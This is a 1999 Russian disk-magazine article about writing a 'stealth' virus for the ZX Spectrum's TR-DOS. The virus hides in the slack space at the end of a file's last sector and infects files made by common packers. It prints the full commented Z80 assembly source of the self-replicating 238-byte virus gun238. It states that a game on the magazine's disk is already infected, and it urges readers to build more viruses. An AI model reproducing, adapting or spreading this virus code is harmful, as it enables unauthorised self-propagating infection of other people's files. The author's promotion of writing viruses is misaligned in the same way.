Из журнала Deja Vu #09, Кемерово, 1999 (C) Аркадий Гобузов, 1999 __________________________________________ Первый (?) вирус, получивший некоторое распространение в TR-DOS и впервые описан- ный в компьютерном журнале, был вирус, распространяемый с игрой LAST BATTLE. Здесь я бы хотел рассказать о новом типе вируса, который заражает не BASIC, а CODE-файлы, при этом, размеры файлов в секторах, и порядок файлов на диске изме- няться не будут. Именно поэтому я назвал этот тип вирусов - "невидимки", хотя, справедливости ради, надо заметить, на PC вирус-невидимка означает совсем другое. Сначала вспомним, как устроена файловая система в TR-DOS: все файлы занимают на диске размер, кратный размеру одного сек- тора. Таким образом, и файлы в 513 байт, и файлы в 768 байт, и файлы в 600 байт будут занимать на диске 3 сектора.При этом толь- ко файлы размером в 768 байт будут наибо- лее рационально использовать дисковое про- странство. У всех остальных файлов в пос- леднем секторе будет некоторый неиспользу- емый остаток, размером от 1 до 255 байт. Вопрос номер 1: --------------- А НЕЛЬЗЯ ЛИ ЗАПИСЫВАТЬ ЧТО-ТО В ЭТОТ НЕИСПОЛЬЗУЕМЫЙ ОСТАТОК? По-видимому, можно, при этом, о чудо!, размер файла в секторах изменяться не бу- дет. А теперь давайте подумаем, какие файлы имеет смысл заражать. Понятно, что тексто- вые файлы, файлы со шрифтом заражать бес- смысленно. Заражать нужно только файлы, которым сразу после загрузки отдается уп- равление JUMP'ом или CALL'ом по стартовому адресу. Вопрос номер 2: --------------- КАК ОПРЕДЕЛИТЬ ФАЙЛЫ, ЗАПУСКАЕМЫЕ ПО СТАРТОВОМУ АДРЕСУ? Конечно, для этого придется загрузить какую-то часть файла в память, желательно как можно меньшую часть. Практика показы- вает, что достаточно загрузить всего один сектор. Я вот как-то случайно обнаружил, что файлы, упакованные самыми распростра- ненными упаковщиками на Spectrume, а имен- но: HRUST'ом, HRUM'ом и MS PACK'ом, и выг- руженные с упаковщиком, по стартовому ад- ресу ВСЕГДА имеют следующую последователь- ность комманд: ; DI ; LD (NN),SP Зная это, я всегда могу по первому сек- тору файла и даже проще - по первым двум байтам определять файлы, запускаемые по стартовому адресу. Вы можете спросить, а как-же другие файлы? Что ж, и другие файлы тоже можно как-то определять. Например, по последовательности: ; DI ; LD SP,NN Экраны, упакованные с упаковщиком,можно определять по последовательности: ; CALL 82 (расположенной не обязательно по стартовому адресу, а где-то в первом сек- торе.) И т.д., вариантов много, но нужно учи- тывать, что тело вируса должно быть как можно меньшего размера, поэтому проще на- писать вирус, заражающий только какие-то конкретные выполняемые файлы, чем пытаться написать универсальный. Итак: далее будет описываться вирус,за- ражающий файлы, упакованные самыми распро- страненными упаковщиками и имеющие,начиная со стартового адреса, последовательность байтов: ; #F3 DI ; #ED #73 #NN #NN LD (NN),SP Вопрос номер 3: --------------- ФАЙЛЫ КАКОГО РАЗМЕРА МОЖНО ЗАРАЖАТЬ? Так как мы будем располагаться сразу после файла, то нетрудно подсчитать адрес, с которого мы будем находиться в памяти после загрузки зараженного файла: Адрес вируса = Адрес файла + Длина файла. Необходимо помнить, что после загрузки нам нужно иметь достаточно места для 8-ми секторов каталога, для первого сектора ин- тересующего нас файла и для резервной ко- пии вируса. Итого 10 секторов или 2560 байт. Вспомним,что в конце памяти с адреса 65368 есть блок UDG, графика определяемая пользователем. Его желательно оставить без изменения. Перед этим блоком находится стек, устанавливаемй BASIC по умолчанию: CLEAR 65367; этот стек тянется сверху вниз до, примерно, адреса 65274 (#FEFA). Пред- ставим ситуацию (вполне возможную), когда загрузчик не делает команды CLEAR,и упако- ванный блок после загрузки распаковывается не наезжая на стек, затем возвращается опять в BASIC. При этом стек по умолчанию ни в коем случае затирать нельзя. Но, как правило, загрузчик устанавливает какой-то достаточно низкий стек типа 24575. И после упакованного блока есть какая-то неисполь- зуемая память. Как мы выяснили выше, эта память должна находиться не выше 62464 = = #FE00 - #A00. Еще раз обобщим вышесказанное: Адрес тела вируса = Стартовый адрес зара- жаемого файла + 256 * размер файла в сек- торах, должен быть меньше 62465. Вопрос номер 4: --------------- КАКОВА ОБЩАЯ СХЕМА ЗАРАЖЕНИЯ? КАК РАБОТАЕТ ВИРУС? В зараженном файле тело вируса находит- ся сразу после файловых данных. Итак, загружается зараженный файл, на него отдается управление командой JP,CALL, или RANDOMIZE USR стартовый адрес.По стар- товому адресу находится команда JP - тело вируса. Далее будем читать сразу по ком- ментариям в ассемблерном листинге: ;(программа написана в ZXASM3.0) ;---------- ;gun238 - вирус-невидимка для TR-DOS ;(C) 1999 gun LastTrackSectorStore EQU #FE00 начиная с этого адреса будем хранить некоторые переменные AdrCurFilSize EQU #FE02 SizeStore EQU #FE04 LastByte EQU #FE06 LowSize EQU #FE08 Reserv EQU #F400 тело вируса невидимки: ;------------------ Begin LD HL,Begin ;сохраняем LD DE,Reserv ;резервную LD BC,256 ;копию вируса LDIR LD HL,(23796) сохраняем текущую дорожку и сектор LD (LastTrackSectorStore),HL EX DE,HL PUSH HL ;HL,#F500 LD D,L LD E,L ;DE,0 LD BC,#805 ;загружаем CALL 15635 ;каталог далее в цикле будем проходить по всем файлам в каталоге,ища подходящий для заражения. l2 POP HL ;HL- #F500,загруженный каталог. JR loop l1 LD BC,3 l3 ADD HL,BC loop LD A,(HL) ;достигли конца OR A ;каталога ? JR Z,endrut ; LD BC,8 ;в HL - адрес ADD HL,BC ;расширения LD A,(HL) CP "C" ;если файл не JR NZ,l3 ;кодовый,переходим ;на следующий INC HL LD E,(HL) ;DE-start ADRES INC HL ; LD D,(HL) ; INC HL В зараженном файле после работы вируса управление будет передаваться на стартовый адрес+3,т.е. сразу на команду следующую после инструкции CALL NN запоминаем адрес,по которому хранится размер текущего файла LD (AdrCurFilSize),HL LD C,(HL) ; INC HL ;BC-размер LD B,(HL) ;файла INC HL LD (SizeStore),BC EX DE,HL ADD HL,BC LD (LastByte),HL LD (Reserv+1),HL ;DE адрес конца = начало+размер EX DE,HL LD A,D CP #F4 проверяем,будет ли после загрузки файла достаточно памяти для работы вируса если нет,переходим на следующий файл JR NC,l1 INC C DEC C JR Z,l4 INC B l4 LD A,B CP (HL) ;размер файла в ;секторах файл явно имеет фальшивую длину,ну его JR NZ,l1 LD A,C младший разряд размера,256 минус это число = размер остатка. LD (LowSize),A CP (256-VirSize) подходящего остатка нет,идем на следующ- ий файл JR NC,l1 INC HL LD E,(HL) ;первый сектор и INC HL ;трэк текущего LD D,(HL) ;файла INC HL PUSH HL ;адрес в каталоге ;следующего файла PUSH DE ;первый сектор и ;трэк файла PUSH BC ;B-объем в секторах LD HL,Reserv+#900 LD BC,#105 загружаем первый сектор файла: CALL 15635 LD HL,(Reserv+#901) LD BC,#73ED ;LD (..),SP XOR A проверяем,есть ли в нужном месте интересующая нас последовательность байт SBC HL,BC POP BC POP DE POP HL файл не наш,идем на следующий JR NZ,loop JR Continue этот переход необходим для того,чтобы на endrut можно было отовсюду ;"дотянуться" командой JR ;-------------- сюда приходим,если пробежались по всем файлам и не нашли ничего подходящего для заражения; либо после заражения файла.При запуске зараженного файла можно заразить только один файл endrut LD HL,(LastTrackSectorStore) LD (23796),HL POP HL LD (0),SP StackS EQU $-2 DI из тела вируса будем возвращаться не сразу на байты после команды CALL,a пропустив два байта INC HL INC HL JP (HL) ;----------------- Continue LD HL,(Reserv+#903) сохраняем адрес,по которому в заражаемом файле сохраняется стэк;адрес сохраняем в резервной копии вируса,которую потом сохраним в последнем секторе заражаемого файла. LD (Reserv+StackS-Begin),HL PUSH DE PUSH BC LD HL,Reserv+#902 LD BC,(LastByte) а в первом секторе заражаемого файла ставим переход на адрес,следующий после последнего байта; по этому адресу будет тело вируса LD (HL),B DEC HL LD (HL),C DEC HL LD (HL),205 ;CALL PUSH HL ;HL=Reserv+#900 LD BC,#106 CALL 15635 выгрузили первый сектор, в его начале поставили последовательность команд ; CALL VirusBody ; DB N,N эти два последних байта будут пропускать ся и никогда не будут выполнены POP HL POP BC ;объем файла в сект. POP DE ;первый трэк и сектор DEC B к номеру начальных сектора и дорожки заражаемого файла прибавляем его размер минус 1,при этом получим номер последних сектора и дорожки: l5 INC DE LD A,E AND 15 JR NZ,l6 LD E,A INC D l6 DJNZ l5 ;DE последний сектор заражаемого файла PUSH DE PUSH HL LD BC,#105 загружаем этот последний сектор в память CALL 15635 загрузили последний сектор файла LD BC,virEnd-Begin LD HL,(SizeStore) ADD HL,BC EX DE,HL ;DE каким станет размер файла после заражения LD HL,(AdrCurFilSize) LD (HL),E ; делаем INC HL ; изменения LD (HL),D ;в каталоге LD DE,(LowSize) LD D,#FD LD HL,Reserv LDIR POP HL POP DE LD BC,#106 выгрузили последний модифицированный сектор CALL 15635 LD HL,Reserv+#100 LD D,L LD E,L LD BC,#806 CALL 15635 JR endrut virEnd VirSize EQU virEnd-Begin ;---------------- Итак, тело вируса имеет размер 238 бай- та. По моему, сложно уменьшить это число, не нарушив возможностей вируса... Хотя,ес- ли делать поиск и замену другой последова- тельности команд, не DI:LD (NN),SP,то мож- но значительно выиграть. Первый вирус, ис- пользующий эту идею, был написан мной вес- ной 1995 года, его размер был всего 186 байтов,но заражал он не файлы из МS_PACKа, HRUSTa, HRUMa (этих программ тогда еще не было), а файлы, выгруженные из ASC Screen Crasher'a, там происходила замена команды CALL 82, командой CALL тело вируса. Теперь о количестве файлов,которые реально могут быть заражены: Файлы, выгружаемые из перечисленных вы- ше упаковщиков, имеют одинаковые шансы по- лучить и 0 и 100 и 255 байтов в остатке, как говорят в теории вероятностей - эти исходы равновозможны, т.е. вероятность за- ражения случайно взятого файла, имеющего нужную нам последовательность байтов, рав- няется (256-длина вируса)/256. Это число не может быть равно единице, т.к. тело ви- руса всегда что-то должно содержать. Для данного вируса это число чуть меньше 1/14. Т.е., если диск содержит 14 файлов, выгру- женных из HRUMa, HRUSTa или MS_PACK, то, скорее всего,можно заразить только 1 файл, если 28 - то 2, хотя возможны варианты,что можно ничего не заразить, или можно зара- зить все файлы (очень маловероятно). Для вируса, заражающего ASC файлы, это число чуть больше 1/4. Необходимо сказать, что вирус не делает никаких деструктивных действий и при зара- жении делает все возможное, чтобы не нав- редить. Вопрос номер 5: --------------- КАК ДОЛГО БУДЕТ ЖИТЬ ЭТОТ ВИРУС? Он живет, пока вы не сотрете зараженный файл. При каждой загрузке зараженного фай- ла, вирус будет загружать нулевую дорожку и искать подходящий файл. После заражения размер файла в каталоге будет скорректиро- ван, и файл не будет иметь остаток. Таким образом, его повторное заражение исключе- но. Если диск не содержит подходящих фай- лов,то после работы вируса мы вернемся как ни в чем не бывало в зараженный блок. Пос- ле копирования зараженного файла на другой диск, он и там начнет свое коварное дело. Вопрос номер 6: --------------- ЧТО БУДЕТ, ЕСЛИ ДИСК ЗАКЛЕЕН? Плохо будет. При попытке заражения, ви- рус будет пытаться выгрузить данные на за- клееный диск, и на экране будет сообщение об ошибке. Чтобы этого избежать, нужно сделать проверку на заклеенный диск, при этом, размер вируса придется увеличить и перейти за отметку 255 байт, а это для ви- русов данного типа нереально. Вопрос номер 7: --------------- МОЖНО ЛИ НАПИСАТЬ ВИРУС, РАЗМЕРОМ БОЛЕЕ 255 БАЙТОВ И, ПРИ ЭТОМ, НЕ ПОРТЯЩИЙ НИКАКИЕ ФАЙЛЫ? Можно, но, при этом, он сможет заражать только файлы, расположенные в самом конце каталога; либо файлы,имеющие на диске пос- ле себя,удаленный файл. Особого труда сде- лать соответствующие изменения в каталоге у продвинутого спектрумиста не составит. Увеличение размера позволит сделать больше проверок и, соответственно, заразить боль- шее число исполняемых файлов. Также можно сделать какие-то эффекты, которыми так "славятся" вирусы на PC. Теперь о главном: Вопрос номер 8: --------------- А НАФИГ ВСЕ ЭТИ ВИРУСЫ НУЖНЫ? Это интересно, согласитесь!? К тому же, ВСЕ компьютеры, имеющие дисковую систему, имеют вирусы. Они есть и на АMIGe,и на PC, и на Mac'ах. Я считаю, что их отсутствие в TR-DOS было временным. Цель данной статьи- восполнить пробел и обозначить основные направления вирусостроительства в TR-DOS. Но я призываю всех, кто будет пробовать написать свой вирус, не закладывать в него деструктивных свойств, лучше делать какие- -нибудь забавные фичи в них, без обнуления нулевой дорожки после 13-ого заражения или удаления файлов. Больше вирусов, хороших и разных! Р.S. В приложении можно найти игру G.I.HE- RO.Основной блок,который называется "gic", заражен вирусом gun238. Свои комментарии вы можете послать автору по email: gobuzov#yahoo.com И заходите ко мне на http://speccy.da.ru